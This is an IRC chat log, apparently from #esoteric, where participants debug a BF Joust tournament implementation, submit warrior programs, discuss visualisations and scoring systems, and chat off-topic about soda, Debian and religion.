fair, since egojoust can't handle ({})% 20:35:15 But doesn't current !bfjoust handle it correctly? 20:35:23 quintopia: egojoust can't handle NESTED ({}) 20:35:24 i'm gonna say egojoust scored the match right then 20:35:36 quintopia: egojoust handles normal ({}) just fine, as well as ({({})}) nesting. 20:35:41 quintopia: Just not (({{}})) 20:35:44 Deewiant: Think of it as undefined behaviour; everything's correct. 20:35:49 Right. 20:36:06 Deewiant: But as we get a faster implementation, it'll have to throw away doing it that way. 20:36:11 Gregor: flase! i tried to do normal nesting of ({})% with ()* and it parse error'd me out the ass 20:36:12 elliott: IF we get a faster implementation. 20:36:22 i checked and double checked 20:36:22 Gregor: Seriously. Shut it :P 20:36:26 quintopia: Then you did it wrong. 20:36:27 everything was correct 20:36:35 Gregor: I'm restructuring lance a little bit to stop these stupid bugs appearing. 20:36:42 Gregor: It will become something basically identical to egojsout: The C Edition. 20:36:46 So it's exactly what you would do instead :P 20:36:47 quintopia: Show me the code. 20:36:52 In conclusion: SHADDAP. 20:37:19 the code doesn't exist anymore because it rewrote it so egojoust could handle it. 20:37:30 quintopia: Also, since egojoust doesn't report parse errors, I don't know how you came to that conclusion :P 20:37:41 Gregor: it printed them in breakdown.txt 20:37:45 "failed to parse file" 20:38:02 Wow, I didn't even know I did that :P 20:38:08 !bfjoust this_is_ok_folks ({ (+)*3 })%3 20:38:19 Score for Gregor_this_is_ok_folks: 5.8 20:38:27 No parse failures. 20:38:27 (add-hook 'c-mode-hook (lambda () 20:38:28 (c-set-style "bsd") 20:38:28 (setq c-basic-offset 4))) 20:38:29 WHY DOES THIS NOT WORK 20:38:33 WHAT DO YOU WANT FROM ME EMACS 20:38:34 oerjan suggested that its because it was expanding programs wrong and adding uninitialized memory to the end of the program, thereby breaking the parse 20:38:46 quintopia: Yeah, that was fixed, like, days ago :P 20:38:49 DAYS 20:38:53 WHY DOES THIS NOT WORK 20:38:53 WHAT DO YOU WANT FROM ME EMACS 20:39:01 Gregor: If you want EgoBot, learn Emacs and tell me what the problem is. 20:39:06 ... 20:39:07 *lance, 20:39:17 elliott: I can always write egojoust2, so holding lance hostage is pointless. 20:39:43 Gregor: Gosh, you're getting so IMPATIENT 20:39:55 quintopia: Tell him you won't accept an implementation that does not call the polarities by their proper names. 20:40:06 -!- Slereah has quit (Ping timeout: 264 seconds). 20:41:01 anyone know any lithuanians? 20:41:05 Gregor: call the polarities "Gregor" and "elliott", or, if you prefer, "Gigolo" and "Asshat" 20:41:11 augur: no 20:41:14 augur: one 20:41:17 but you don't want to talk to him 20:41:22 why not? 20:41:26 though my ex-g/f had lithuanian ancestry :P 20:41:30 he sucks :P 20:41:34 i need a native lithuanian speaker 20:41:50 i think he's only native in lithuanian profanity :P 20:42:01 well that doesnt count then 20:42:05 i need someone from lithuania 20:42:05 no i'm joking 20:42:13 he's from lithuania and is a native lithuanian 20:42:16 but why do you want 20:42:22 is he on irc? 20:43:45 no 20:43:52 do you have any polish ancestry? 20:44:39 no 20:44:43 not that i know of 20:44:49 its possible but who knows 20:44:56 augur: too risky, don't talk to him 20:45:13 -!- Slereah has joined. 20:45:31 lol 20:49:46 I updated the animation to show the flags in red and blue instead of green and green. 20:50:04 Gregor: Oh. That's revolutionary. 20:50:15 Link me again :P 20:50:35 http://codu.org/eso/bfjoust/egojsout/anim/ 20:51:00 -!- zzo38 has quit (Remote host closed the connection). 20:51:10 Gregor: I see you still don't end the .js with ?version number :P 20:51:14 * elliott hard refreshes MANUALLY. 20:51:27 elliott: Cry me a river. 20:51:31 Doing so 20:54:07 Gregor: Make every tape cell one wide. 20:54:09 For consistency! 20:54:18 ... how is that "consistency" 20:55:00 Gregor: Because they're one high at minimum. 20:55:02 Squares are consistent. 20:55:11 ... X_X 20:55:15 Worst - logic - ever. 20:55:44 A one-pixel-tall light rectangle on a dark background is both quite visible and quite obviously small. It is the perfect thing to use. 20:56:31 Gregor: I want to see it in one-pixel form, dammit. 20:56:42 I don't :P 20:56:53 Waah 20:57:26 guys. animate decoybooster2 vs space_elevator, tape length 11, kettle polarity. watch the hilarious way in which space_elevator fails miserably XD 20:58:53 quintopia puts his warriors on the right too 20:58:53 yay 20:58:54 quintopia: lawl, it passed zero twice on its own :P 20:59:30 elliott: it makes it so the breakdowns look the same as breakdown.txt 20:59:49 Gregor: did you see how it's wobbling the flag all over the place? 20:59:55 updownupdownupdown 21:03:23 quintopia: Yeah, it's pretty fidgety :P 21:03:30 Epic lols were had by all. 21:04:43 !bfjoust space_elevator http://sprunge.us/hcRD 21:04:51 Score for quintopia_space_elevator: 56.1 21:05:18 fail 21:06:00 apparently :P 21:06:07 -!- SimonRC has quit (Ping timeout: 265 seconds). 21:08:53 OK folks, how can we get people who aren't in #esoteric in on this; I honestly think there are lots of people who would lurve BFJousting. 21:09:37 it's a higher barrier to entry than you might think 21:09:41 What quintopia said. 21:09:46 Writing programs is really hard. 21:09:49 !bfjoust space_elevator http://sprunge.us/ORIN 21:09:55 Score for quintopia_space_elevator: 62.9 21:09:57 Somebody entering just now without ever seeing the hill evolution would be useless. 21:10:04 Also, I hate people >_> 21:10:08 lol 21:10:08 (OK I don't) 21:10:50 okay, so now that strange thing doesn't happen anymore :P 21:11:17 but yeah, explaining the strategies of the major programs on the strategy page would help 21:11:34 I am reconsidering making it possible to do direct links to a particular joust. 21:12:19 GOOD BECAUSE I WAS GOING TO SUGGEST THAT AGAIN 21:12:26 it would be so helpful for fleshing out that page 21:12:46 also, watching them work animated also helps with the understanding more than you might have thought 21:12:56 -!- SimonRC has joined. 21:13:04 It doesn't. 21:13:20 The pictures are pretty and those of us experienced can get some information from it, but to anyone else it's just some wavy lines. 21:13:22 You don't see the loops. 21:13:27 It goes by too fast. 21:13:29 You don't see those wasted cycles. 21:13:30 I'd rather have them be in the query URL so it's stateless, but even in the best case the compression is pretty bad ... one character = 1.5 operations >_> 21:13:35 You don't see the logic. 21:13:50 Gregor: Just put the two programs in the URL rather than the trace? 21:13:58 elliott: Uhh, yeah, that was the idea. 21:14:15 Let's say we want to compress +-<>[].()*%0123456789. 21:14:18 One character = 1.5 operations with base64. 21:14:22 I've already looked into it. 21:14:24 That's 21 options. 21:14:27 One character = 1.5 operations. 21:14:30 = 4.39 bits. 21:14:31 So yeah. 21:14:37 Gregor: 1.821 actually. 21:14:44 In the perfect information-theoretic sense. 21:14:54 Not in the actually-achievable sense :P 21:14:55 elliott: I didn't compress 0123456789 quite so naively as you, since they can't appear anywhere. 21:15:06 Gregor: Err, I get a _better_ figure than you. 21:15:19 elliott: You realize it has to be ASCII, right? 21:15:31 elliott: Not only that, it has to be URLable ASCII. 21:15:32 Gregor: As I said. Information-theoretic. 21:15:37 I didn't bother myself with practicality. 21:15:49 elliott: It's not even information-theoretic if your output is invalid. 21:16:03 It's pure mathematical beauty, who cares about character sets! 21:16:07 :P 21:17:08 Anyway, for anything written by ais or quintopia, that's still way too big :P 21:17:29 Gregor: Better idea. 21:17:41 Gregor: When someone fetches a link, store the program permanently, indexed by its SHA-1 hash. 21:17:47 Gregor: Have the two programs be identified by SHA-1 hashes. 21:17:55 Gregor: Theoretically, you could just brute-force the correct program every time the URL is loaded. 21:18:01 Gregor: You have reduced the impurity to a mere cache! 21:18:07 That's not bad. 21:18:09 I'm not even _joking_ :D 21:18:20 It's seriously not bad. 21:18:23 Gregor: (We are working inside the theory "hash collisions do not exist", a very, very useful theory.) 21:18:50 For our purposes that theory may as well be true. 21:19:20 Gregor: that was my idea originally. what elliott just said. store the program when a link is requested :P 21:19:30 Gregor: And if it falls down, at least we can be the cause of the headline "BRAINFUCK MAKES A HASH OUT OF THINGS" 21:19:38 elliott: ... boo. Hiss. 21:19:42 quintopia: You forgot the all-important SHA-1 part! 21:20:04 but he was all STOP USING WORDS and you were all I DON'T WANNAAAAAAA and i was all ROT133333333 21:21:27 it was rot13? 21:21:31 i rot13'd it and got gibberish 21:21:32 well one word 21:26:00 you fail at rot13 21:26:18 i just used rot13.com out of laze 21:28:02 http://zem.fi/~fis/clust6.png -- results with one more bug squished. 21:28:42 quintopia: btw wiggle3 in egojsout is broken too ofc 21:28:57 fizzie: what clustering alg are you using? it's based solely on win/loss record, yes? 21:29:19 fizzie: written an evolver yet? :P 21:30:57 -!- Sgeo has joined. 21:31:03 quintopia: Yes. It's very simple; pairwise distance between A and B is the manhattan distance over the 38*42-dimensional -1/0/+1 duel-score vectors they have against all other programs; then agglomerative hierarchical clustering using "average of all pairwise distances" as a cluster-to-cluster distance metric. 21:31:38 sounds about right 21:31:40 fizzie: Very simple! 21:31:50 You had me at "agglomerative hierarchical clustering". 21:31:52 elliott: Look, ma, no eigenvectors! 21:32:06 fizzie: how did you decide where to make the tree change colors? 21:32:17 quintopia: With eigenvectors! 21:32:48 elliott: i suspect it was more a simple threshold :P 21:33:07 quintopia: That's scipy's dendrogram-plotter's default thing. It uses a threshold of 0.7*maximum distance. 21:33:24 ah 21:34:31 did definder fall off the hill? hmm 21:34:47 I think ais523 said it did. 21:36:11 that would explain space_elevator's jump last night. definder was one of the few that beat it. 21:39:01 -!- Sgeo has quit (Ping timeout: 240 seconds). 21:43:30 -!- pikhq_ has joined. 21:43:52 -!- pikhq has quit (Ping timeout: 276 seconds). 21:48:30 looks like i already need to add backup attacks, since i am vulnerable to vibration atm 21:49:00 I also plotteded this thing http://zem.fi/~fis/dpoints.png which is the report.txt duel-matrix, except it also shows shades between -/0/+ so you can see the difference between "beats completely" and "barely manages to win over half". 21:53:08 !bfjoust space_elevator http://sprunge.us/aNhT 21:54:04 fizzie: red means beats? 21:54:18 Yes. 21:54:51 Well, depending on which way you read it. Red means "program on this row beats the program on this column". 21:55:20 They're sorted by the tournament score thing, I think. 21:55:21 i figured that's the way you intended it be rea 21:55:22 d 21:55:29 yes i thought that was nice 21:55:47 i makes it be nearly half red and half blue, and therefore highlights the upsets quite well 21:57:13 actually, i'd like to see it sorted by points 21:57:37 Score for quintopia_space_elevator: 59.0 21:57:46 wow 21:57:48 that hurt 21:57:52 unexpectedly 21:59:34 http://zem.fi/~fis/dpoints2.png -- same data sorted by points, unless I screweded up. 22:00:44 fizzie: Plot the difference between score and points in some way that makes the outliers obvious. 22:00:47 e.g. low points high score 22:02:58 -!- pikhq_ has quit (Ping timeout: 250 seconds). 22:03:05 -!- pikhq has joined. 22:03:30 I could do a points/scores scatterplot pretty easily. 22:05:23 !bfjoust space_elevator http://sprunge.us/eWbE 22:05:28 i doubt that will improve things at all 22:05:43 http://zem.fi/~fis/pointscore.png -- they're pretty nicely on the line. (X axis has points, Y axis scores; lacking labels at the moment.) 22:05:52 i can't really figure out how the second check throws everything off 22:05:58 -!- BeholdMyGlory has quit (Read error: Operation timed out). 22:06:09 -!- cheater- has quit (Read error: Connection reset by peer). 22:06:10 -!- BeholdMyGlory has joined. 22:06:45 fizzie: can you change the colors of the ones that are most uncorrelated? 22:07:55 Possibly. (Though that plot and the one that does clustering/distances are in different files at the moment.) Away for now though, more graphical misadventures later. 22:09:54 -!- SimonRC has quit (Ping timeout: 255 seconds). 22:13:05 Gregor: idea for scoring system. one that maximizes the amount of red in the upper section and blue in the lower section in fizzie's graph. experiment: see if the current system already does this. 22:13:44 (i think any such system is inherently fixed point in a way) 22:14:09 We really just want a scoring function "S(p) := sum(q : program that p beats) f(S(q))", don't we? 22:14:14 For some f. 22:14:17 Where S is score. 22:14:27 That's basically the definition of a fixed-point scoring function. 22:14:29 something like that 22:14:38 Score for quintopia_space_elevator: 59.0 22:14:48 but what should f be to make that happen? 22:14:59 quintopia: I was about to say "then you no longer need to find a scoring function, only an f." :p 22:15:34 well i just suggested one 22:15:53 quintopia: You didn't suggest an actual function :P Unless you mean the stuff in the log. 22:15:54 solve the optimization problem i just described and i think you'll have one 22:16:27 OK, let's say that f(x) := P(x)/number of programs on the hill, where P is points. 22:16:27 -!- copumpkin has joined. 22:16:36 Does that fix-a-point, you think? 22:16:49 Because eventually the division stack will get bigger and bigger. :p 22:17:00 And that kind of stuff has the mouth-feel of fixed-pointing. 22:17:10 Erm. 22:17:12 Let's say that 22:17:17 f(n) := n/number of programs on the hill. 22:17:25 And we start by assuming that S(x) := P(x) for all x. 22:19:33 this is something you could test 22:20:28 quintopia: And it is also something you could test :P 22:20:39 i could 22:20:42 i will 22:20:49 once i'm finished watching pretty animations 22:23:40 -!- pikhq_ has joined. 22:24:01 -!- pikhq has quit (Ping timeout: 276 seconds). 22:26:32 definder2 is a thing of beauty 22:27:21 -!- SimonRC has joined. 22:34:11 !bfjoust space_elevator http://sprunge.us/cgcF 22:36:47 -!- Behold has joined. 22:37:17 Score for quintopia_space_elevator: 57.8 22:37:30 hmm 22:39:30 -!- MigoMipo has quit (Quit: Quit). 22:40:02 -!- BeholdMyGlory has quit (Ping timeout: 255 seconds). 22:40:27 Mmmmm, fresh-made soda. 22:40:55 what flavor it is this time? 22:41:41 The Debian installer is so awesome. 22:42:10 And that is the first and last time, my friends, that I will stoop to *praising an operating system's installation program*. 22:42:34 Also, my enemies. 22:46:13 quintopia: This time I was lazy and decided to order the sample pack of flavorings from SodaStream :P 22:46:21 So I'm having Cranberry-Raspberry. 22:49:01 -!- SimonRC has quit (Ping timeout: 265 seconds). 22:51:05 -!- SimonRC has joined. 22:51:24 Gregor: Please make... treacle soda. 22:51:38 Sounds ... "delicious" 22:54:48 Gregor: Yes, it does. Do it. 22:55:03 You're anosnonosnomic and don't understand TASTE, so shut up and make it. 22:55:29 Gregor: If it's easier for you to swallow -- no pun superintendent -- as an American, molasses would also work. 22:56:40 Holy shit debian.org redesigned. 22:56:46 And it's... ugly. 22:58:26 -!- pikhq has joined. 22:58:26 -!- pikhq_ has quit (Ping timeout: 245 seconds). 23:10:11 !bfjoust space_elevator http://sprunge.us/KNHK 23:13:19 Score for quintopia_space_elevator: 59.0 23:14:31 hmm 23:16:52 Permalinks up. 23:17:13 Gregor: SHA-1'D?! 23:17:28 X_X 23:17:39 What would you rather I use. 23:18:12 Gregor: I was asking. 23:18:15 Not complaining. 23:18:23 I was ENSURING THAT YOU PROPERLY OBEYED MY VISION. 23:18:26 Then why the interrobang‽ 23:18:27 But, uhh, SHA-512 please. 23:18:34 Gregor: I was ENSURING THAT YOU PROPERLY OBEYED MY VISION. 23:19:06 But, uhh, SHA-512 please. 23:19:08 This is joke btw 23:20:43 Seems borked :P 23:22:56 Hrm. 23:23:08 Unborked! 23:23:30 -!- Sgeo has joined. 23:23:35 Now to integrate animation into the mainline egojsout. 23:25:23 -!- FireFly has quit (Quit: swatted to death). 23:33:16 http://media.tumblr.com/tumblr_lfn399bDPY1qb25dg.jpg 23:42:52 * pikhq finds himself completely rejecting notions of an omnipotent, benevolent deity... 23:43:55 -!- Slereah_ has joined. 23:44:05 What about a deity omnipotent as in able to do anything to our world, but has its own limitations within its own.. plane of being 23:44:16 !bfjoust space_elevator http://sprunge.us/WcXQ 23:44:23 Score for quintopia_space_elevator: 56.4 23:44:25 Something like artificial life games and us 23:44:39 Sgeo: Clearly he's a dick. 23:44:42 In theory, we could do anything, in practice, we're not smart enough, or it's otherwise difficult 23:44:56 pikhq: Gosh, but who will be our token Christian now? 23:45:07 :p 23:45:21 And it's certainly not worth *caring* about such an ineffective hypothetical deity. 23:45:31 elliott: You'll have to scrounge one up, I guess. 23:45:47 -!- Slereah has quit (Ping timeout: 272 seconds). 23:45:47 I'd rather not :P 23:45:55 -!- Sgeo_ has joined. 23:45:58 Or I'll have to convert someone. Whilst not convincing myself of anything. :P 23:46:17 elliott, would you say we're omnipotent in the Creatures games? 23:46:26 It's not like you've ever come across as religious in any way, you're a lousy token Christian. :p 23:46:30 Sgeo: Certainly not. 23:46:34 Our minorities statistics are all messed up. Er, Christians are in a minority, right? 23:46:50 elliott: Depends on the context. 23:46:54 pikhq, things that we can't alter with CAOS painstakingly, we can in theory hex-edit 23:47:03 So we have full control over the Creatures world 23:47:42 elliott: World-wide? I suppose they could kinda count. 23:47:50 elliott: Well, they're at least not a *majority*. 23:48:03 elliott: In most Western nations? Sorry, no. 23:48:11 pikhq: They're a plurality, though. 23:48:56 -!- Sgeo__ has joined. 23:48:57 -!- Sgeo has quit (Ping timeout: 240 seconds). 23:49:10 So yeah, I'm installing VirtualBox 4 23:49:15 alright, i can't figure out how to improve this thing. downgrading... 23:49:22 !bfjoust space_elevator http://sprunge.us/VcMe 23:49:24 The Abrahamic religions are most definitely a majority, though. 23:49:28 Score for quintopia_space_elevator: 64.8 23:49:32 Somewhat broad grouping, but nevertheless. 23:49:52 (and includes at least two groups that seem to hate each other's guts!) 23:50:03 that's the one with all the strange bugs in it that somehow made it do better :P 23:51:02 06:56:19 I am beginning to believe that Core Wars is dead 23:51:03 By what metric? 23:51:03 -!- zzo38 has joined. 23:51:08 quintopia: evolve it :P 23:51:32 elliott, lack of players. As poorly estimated by lack of new documentation available 23:51:41 And emptiness of IRC channel 23:51:48 -!- GreaseMonkey has joined. 23:51:48 -!- GreaseMonkey has quit (Changing host). 23:51:48 -!- GreaseMonkey has joined. 23:52:09 -!- Sgeo_ has quit (Ping timeout: 240 seconds). 23:55:25 -!- Behold has quit (Remote host closed the connection). 23:56:20 reddit about our wiki: 23:56:21 [[That whole site is intended as a joke, I believe. Go take a look at the non-joke languages list, and you'll find most major languages are missing. Java is there, but when you go to the Java entry it is clearly describing it as a joke, and says it is in the joke category. 23:56:21 There are a lot of inconsistencies between the lists and the categories, which I suspect is part of the joke.]] 23:56:41 Gregor: LANCE WILL TOTALLY BE DONE TOMORROW. TODAY I WAS TOO BUSY PLAYING MINECRAFT. 23:56:45 PLEASE BE PATIENT 23:56:48 :}} 23:56:56 elliott, linky? 23:57:22 Sound is way too deep 23:57:48 It's almost as though a computer is simulating another computer and running an OS in that simulated computer